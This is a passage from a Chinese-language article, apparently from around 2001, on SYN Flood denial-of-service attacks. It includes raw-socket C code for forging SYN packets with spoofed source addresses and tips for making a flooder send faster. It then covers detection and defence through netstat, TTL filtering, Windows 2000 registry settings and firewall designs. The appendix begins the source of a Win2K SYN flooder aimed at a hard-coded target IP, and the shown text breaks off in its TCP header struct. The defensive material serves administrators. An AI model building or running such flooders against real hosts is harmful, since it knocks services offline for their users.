&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(size ) cksum += *(UCHAR*)buffer;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cksum += (cksum &gt;&gt;16);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return (USHORT)(~cksum);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 这个函数并没有经过任何的优化，由于校验和函数是TCP/IP协议中被调用最多函数之一，所以一般说来，在实现TCP/IP栈时，会根据操作系统对校验和函数进行优化。TCP首部检验和与IP首部校验和的计算方法相同，在程序中使用同一个函数来计算。需要注意的是，由于TCP首部中不包含源地址与目标地址等信息，为了保证TCP校验的有效性，在进行TCP校验和的计算时，需要增加一个TCP伪首部的校验和，定义如下：<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; struct<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned long saddr;&nbsp;&nbsp;&nbsp;&nbsp; //源地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned long daddr;&nbsp;&nbsp;&nbsp;&nbsp; //目的地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; char mbz;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 置空<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; char ptcl;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //协议类型<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned short tcpl;&nbsp;&nbsp;&nbsp;&nbsp; //TCP长度<br />
&nbsp;&nbsp;&nbsp; }psd_header;<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和：<br />
&nbsp;&nbsp;&nbsp; memcpy(SendBuf,&amp;psd_header,sizeof(psd_header));&nbsp; <br />
&nbsp;&nbsp;&nbsp; memcpy(SendBuf+sizeof(psd_header),&amp;tcp_header,sizeof(tcp_header));<br />
&nbsp;&nbsp;&nbsp; tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 计算IP校验和的时候不需要包括TCP伪首部：<br />
&nbsp;&nbsp;&nbsp; memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));<br />
&nbsp;&nbsp;&nbsp; memcpy(SendBuf+sizeof(ip_header),&amp;tcp_header,sizeof(tcp_header));<br />
&nbsp;&nbsp;&nbsp; ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));<br />
&nbsp;&nbsp;&nbsp; 再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了：<br />
&nbsp;&nbsp;&nbsp; memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));<br />
&nbsp;&nbsp;&nbsp; sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &amp;DestAddr,sizeof(DestAddr));<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 因为整个TCP报文中的所有部分都是我们自己写入的（操作系统不会做任何干涉），所以我们可以在IP首部中放置随机的源IP地址，如果伪造的源IP地址确实有人使用，他在接收到服务器的SYN+ACK报文后会发送一个RST报文（标志位为00000100），通知服务器端不需要等待一个无效的连接，可是如果这个伪造IP并没有绑定在任何的主机上，不会有任何设备去通知主机该连接是无效的（这正是TCP协议的缺陷），主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时，服务器主机承受的负荷会相当的高，根据测试，一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文，这样的攻击力已经足以拖垮大部分WEB服务器了。稍微动动脑筋我们就会发现，想对SYN Flooder程序进行优化是很简单的，从程序构架来看，攻击时循环内的代码主要是进行校验和计算与缓冲区的填充，一般的思路是提高校验和计算的速度，我甚至见过用汇编代码编写的校验和函数，实际上，有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识，（老实说吧，我数学比较差:P），我们仔细研究了两个不同源地址的TCP SYN报文后发现，两个报文的大部分字段相同（比如目的地址、协议等等），只有源地址和校验和不同（如果为了隐蔽，源端口也可以有变化，但是并不影响我们算法优化的思路），如果我们事先计算好大量的源地址与校验和的对应关系表（如果其他的字段有变化也可以加入这个表），等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送（用指针来直接操作缓冲区的特定位置，从事先计算好的对应关系表中读出数据，替换缓冲区相应字段），这种简单的工作完全取决于系统发送 IP包的速度，与程序的效率没有任何关系，这样，即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间，甚至可以定义一个很大的缓冲区数组，填充完毕后再发送（雏鹰给这种方法想了一个很贴切的比喻：火箭炮装弹虽然很慢，但是一旦炮弹上膛了以后就可以连续猛烈地发射了:）。<br />
<br />
&nbsp;&nbsp;&nbsp; 第三部分 SYN Flood攻击的监测与防御初探<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对于SYN Flood攻击，目前尚没有很好的监测和防御方法，不过如果系统管理员熟悉攻击方法和系统架构，通过一系列的设定，也能从一定程度上降低被攻击系统的负荷，减轻负面的影响。（这正是我撰写本文的主要目的）一般来说，如果一个系统（或主机）负荷突然升高甚至失去响应，使用Netstat 命令能看到大量SYN_RCVD的半连接（数量&gt;500或占总连接数的10%以上），可以认定，这个系统（或主机）遭到了SYN Flood攻击。遭到SYN Flood攻击后，首先要做的是取证，通过Netstat &#8211;n &#8211;p tcp &gt;resault.txt记录目前所有TCP连接状态是必要的，如果有嗅探器，或者TcpDump之类的工具，记录TCP SYN报文的所有细节也有助于以后追查和防御，需要记录的字段有：源地址、IP首部中的标识、TCP首部中的序列号、TTL值等，这些信息虽然很可能是攻击者伪造的，但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值，如果大量的攻击包似乎来自不同的IP但是TTL值却相同，我们往往能推断出攻击者与我们之间的路由器距离，至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷（在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问）前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护，对于Win2000系统，还可以通过修改注册表降低SYN Flood的危害，在注册表中作如下改动：<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 首先，打开regedit，找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters增加一个SynAttackProtect的键值，类型为REG_DWORD，取值范围是0-2，这个值决定了系统受到SYN攻击时采取的保护措施，包括减少系统SYN+ACK的重试的次数等，默认值是0（没有任何保护措施），推荐设置是2；增加一个TcpMaxHalfOpen的键值，类型为REG_DWORD，取值范围是100-0xFFFF，这个值是系统允许同时打开的半连接，默认情况下WIN2K PRO和SERVER是100，ADVANCED SERVER是500，这个值很难确定，取决于服务器TCP负荷的状况和可能受到的攻击强度，具体的值需要经过试验才能决定。增加一个TcpMaxHalfOpenRetried的键值，类型为REG_DWORD，取值范围是 80-0xFFFF，默认情况下WIN2K PRO和SERVER是80，ADVANCED SERVER是400，这个值决定了在什么情况下系统会打开SYN攻击保护。我们来分析一下Win2000的SYN攻击保护机制：正常情况下，Win2K对TCP连接的三次握手有一个常规的设置，包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等，这个常规设置是针对系统性能进行优化的（安全和性能往往相互矛盾）所以可以给用户提供方便快捷的服务；一旦服务器受到攻击，SYN半连接的数量超过TcpMaxHalfOpenRetried的设置，系统会认为自己受到了SYN Flood攻击，此时设置在SynAttackProtect键值中的选项开始作用，SYN Timeout时间被减短，SYN-ACK的重试次数减少，系统也会自动对缓冲区中的报文进行延时，避免对TCP/IP堆栈造成过大的冲击，力图将攻击危害减到最低；如果攻击强度不断增大，超过了TcpMaxHalfOpen值，此时系统已经不能提供正常的服务了，更重要的是保证系统不会崩溃，所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文（应该是使用随机丢包策略），保证系统的稳定性。所以，对于需要进行SYN攻击保护的系统，我们可以测试/预测一下访问峰值时期的半连接打开量，以其作为参考设定TcpMaxHalfOpenRetried的值（保留一定的余量），然后再以TcpMaxHalfOpenRetried的1.25倍作为 TcpMaxHalfOpen值，这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。通过设置注册表防御SYN Flood攻击，采用的是&#8220;挨打&#8221;的策略，无论系统如何强大，始终不能光靠挨打支撑下去，除了挨打之外，&#8220;退让&#8221;也是一种比较有效的方法。<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 退让策略是基于SYN Flood攻击代码的一个缺陷，我们重新来分析一下SYN Flood攻击者的流程：SYN Flood程序有两种攻击方式，基于IP的和基于域名的，前者是攻击者自己进行域名解析并将IP地址传递给攻击程序，后者是攻击程序自动进行域名解析，但是它们有一点是相同的，就是一旦攻击开始，将不会再进行域名解析，我们的切入点正是这里：假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址，那么攻击者仍在不断攻击的只是一个空的IP地址，并没有任何主机，而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内（取决于DNS的刷新时间）恢复用户通过域名进行的正常访问。为了迷惑攻击者，我们甚至可以放置一台&#8220;牺牲&#8221;服务器让攻击者满足于攻击的&#8220;效果&#8221;（由于DNS缓冲的原因，只要攻击者的浏览器不重起，他访问的仍然是原先的IP地址）。<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 同样的原因，在众多的负载均衡架构中，基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力，基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上，攻击者攻击的永远只是其中一台服务器，虽然说攻击者也能不断去进行DNS请求从而打破这种&#8220;退让&#8221;策略，但是一来这样增加了攻击者的成本，二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹（DNS请求不同于 SYN攻击，是需要返回数据的，所以很难进行IP伪装）。对于防火墙来说，防御SYN Flood攻击的方法取决于防火墙工作的基本原理，一般说来，防火墙可以工作在TCP层之上或IP层之下，工作在TCP层之上的防火墙称为网关型防火墙，网关型防火墙与服务器、客户机之间的关系如下图所示：<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 外部TCP连接&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 内部TCP连接<br />
&nbsp;&nbsp;&nbsp; [客户机] =================&gt;[防火墙] =================&gt;[服务器]<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 如上图所示，客户机与服务器之间并没有真正的TCP连接，客户机与服务器之间的所有数据交换都是通过防火墙代理的，外部的DNS解析也同样指向防火墙，所以如果网站被攻击，真正受到攻击的是防火墙，这种防火墙的优点是稳定性好，抗打击能力强，但是因为所有的TCP报文都需要经过防火墙转发，所以效率比较低由于客户机并不直接与服务器建立连接，在TCP连接没有完成时防火墙不会去向后台的服务器建立新的 TCP连接，所以攻击者无法越过防火墙直接攻击后台服务器，只要防火墙本身做的足够强壮，这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍（防火墙两端都需要建立TCP连接），同时又代理了所有的来自客户端的TCP请求和数据传送，在系统访问量较大时，防火墙自身的负荷会比较高，所以这种架构并不能适用于大型网站。（我感觉，对于这样的防火墙架构，使用 TCP_STATE攻击估计会相当有效:）<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 工作在IP层或IP层之下的防火墙（路由型防火墙）工作原理有所不同，它与服务器、客户机的关系如下图所示：<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; [防火墙] 数据包修改转发<br />
&nbsp;&nbsp;&nbsp; [客户机]========|=======================&gt;[服务器]<br />
<br />
&nbsp;&nbsp;&nbsp; TCP连接<br />
&nbsp;&nbsp;&nbsp; 客户机直接与服务器进行TCP连接，防火墙起的是路由器的作用，它截获所有通过的包并进行过滤，通过过滤的包被转发给服务器，外部的DNS解析也直接指向服务器，这种防火墙的优点是效率高，可以适应100Mbps-1Gbps的流量，但是这种防火墙如果配置不当，不仅可以让攻击者越过防火墙直接攻击内部服务器，甚至有可能放大攻击的强度，导致整个系统崩溃。<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 在这两种基本模型之外，有一种新的防火墙模型，我个人认为还是比较巧妙的，它集中了两种防火墙的优势，这种防火墙的工作原理如下所示：<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 第一阶段，客户机请求与防火墙建立连接：<br />
&nbsp;&nbsp;&nbsp; SYN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SYN+ACK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ACK<br />
&nbsp;&nbsp;&nbsp; [客户机]---- &gt;[防火墙]&nbsp;&nbsp; =&gt;&nbsp;&nbsp; [防火墙]-------- &gt;[客户机]&nbsp;&nbsp; =&gt;&nbsp;&nbsp; [客户机]--- &gt;[防火墙]<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 第二阶段，防火墙伪装成客户机与后台的服务器建立连接<br />
&nbsp;&nbsp;&nbsp; [防火墙]&lt; =========== &gt;[服务器]<br />
<br />
&nbsp;&nbsp;&nbsp; TCP连接<br />
&nbsp;&nbsp;&nbsp; 第三阶段，之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器防火墙转发<br />
&nbsp;&nbsp;&nbsp; [客户机]&lt; ======|======= &gt;[服务器]<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; TCP连接<br />
&nbsp;&nbsp;&nbsp; 这种结构吸取了上两种防火墙的优点，既能完全控制所有的SYN报文，又不需要对所有的TCP数据报文进行代理，是一种两全其美的方法。&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 近来，国外和国内的一些防火墙厂商开始研究带宽控制技术，如果能真正做到严格控制、分配带宽，就能很大程度上防御绝大多数的拒绝服务攻击，我们还是拭目以待吧。<br />
<br />
<br />
&nbsp;&nbsp;&nbsp; 附录：Win2000下的SYN Flood程序<br />
&nbsp;&nbsp;&nbsp; 改编自Linux下Zakath编写的SYN Flooder<br />
<br />
&nbsp;&nbsp;&nbsp; 编译环境：VC++6.0,编译时需要包含ws2_32.lib<br />
<br />
&nbsp;&nbsp;&nbsp; //////////////////////////////////////////////////////////////////////////<br />
&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp; SYN Flooder For Win2K by Shotgun&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp; THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp; THANX Lion Hook FOR PROGRAM OPTIMIZATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp; Released:&nbsp;&nbsp;&nbsp; [2001.4]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp; Author:&nbsp;&nbsp;&nbsp;&nbsp; [Shotgun]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp; Homepage:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [http://IT.Xici.Net]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [http://WWW.Patching.Net]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br />
&nbsp;&nbsp;&nbsp; //////////////////////////////////////////////////////////////////////////<br />
&nbsp;&nbsp;&nbsp; #include &lt;winsock2.h&gt;<br />
&nbsp;&nbsp;&nbsp; #include &lt;Ws2tcpip.h&gt;<br />
&nbsp;&nbsp;&nbsp; #include &lt;stdio.h&gt;<br />
&nbsp;&nbsp;&nbsp; #include &lt;stdlib.h&gt;<br />
&nbsp;&nbsp;&nbsp; #define SEQ 0x28376839<br />
&nbsp;&nbsp;&nbsp; #define SYN_DEST_IP "192.168.15.250"//被攻击的IP<br />
&nbsp;&nbsp;&nbsp; #define FAKE_IP "10.168.150.1"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段<br />
&nbsp;&nbsp;&nbsp; #define STATUS_FAILED 0xFFFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //错误返回值<br />
<br />
&nbsp;&nbsp;&nbsp; typedef struct _iphdr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //定义IP首部<br />
<br />
&nbsp;&nbsp;&nbsp; {<br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char h_verlen;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //4 位首部长度,4位IP版本号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char tos;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //8位服务类型TOS<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned short total_len;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位总长度（字节）<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned short ident;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位标识<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned short frag_and_flags;&nbsp; //3位标志位<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char&nbsp; ttl;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //8 位生存时间 TTL<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char proto;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //8位协议 (TCP, UDP 或其他)<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned short checksum;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位IP首部校验和<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned int sourceIP;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32位源IP地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned int destIP;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32位目的IP地址<br />
&nbsp;&nbsp;&nbsp; }IP_HEADER;<br />
<br />
&nbsp;&nbsp;&nbsp; struct&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 定义TCP伪首部<br />
&nbsp;&nbsp;&nbsp; {<br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned long saddr;&nbsp;&nbsp;&nbsp;&nbsp; //源地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned long daddr;&nbsp;&nbsp;&nbsp;&nbsp; //目的地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char mbz;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char ptcl;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //协议类型<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned short tcpl;&nbsp;&nbsp;&nbsp;&nbsp; //TCP长度<br />
&nbsp;&nbsp;&nbsp; }psd_header;<br />
<br />
&nbsp;&nbsp;&nbsp; typedef struct _tcphdr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //定义TCP首部<br />
&nbsp;&nbsp;&nbsp; {<br />
<br />
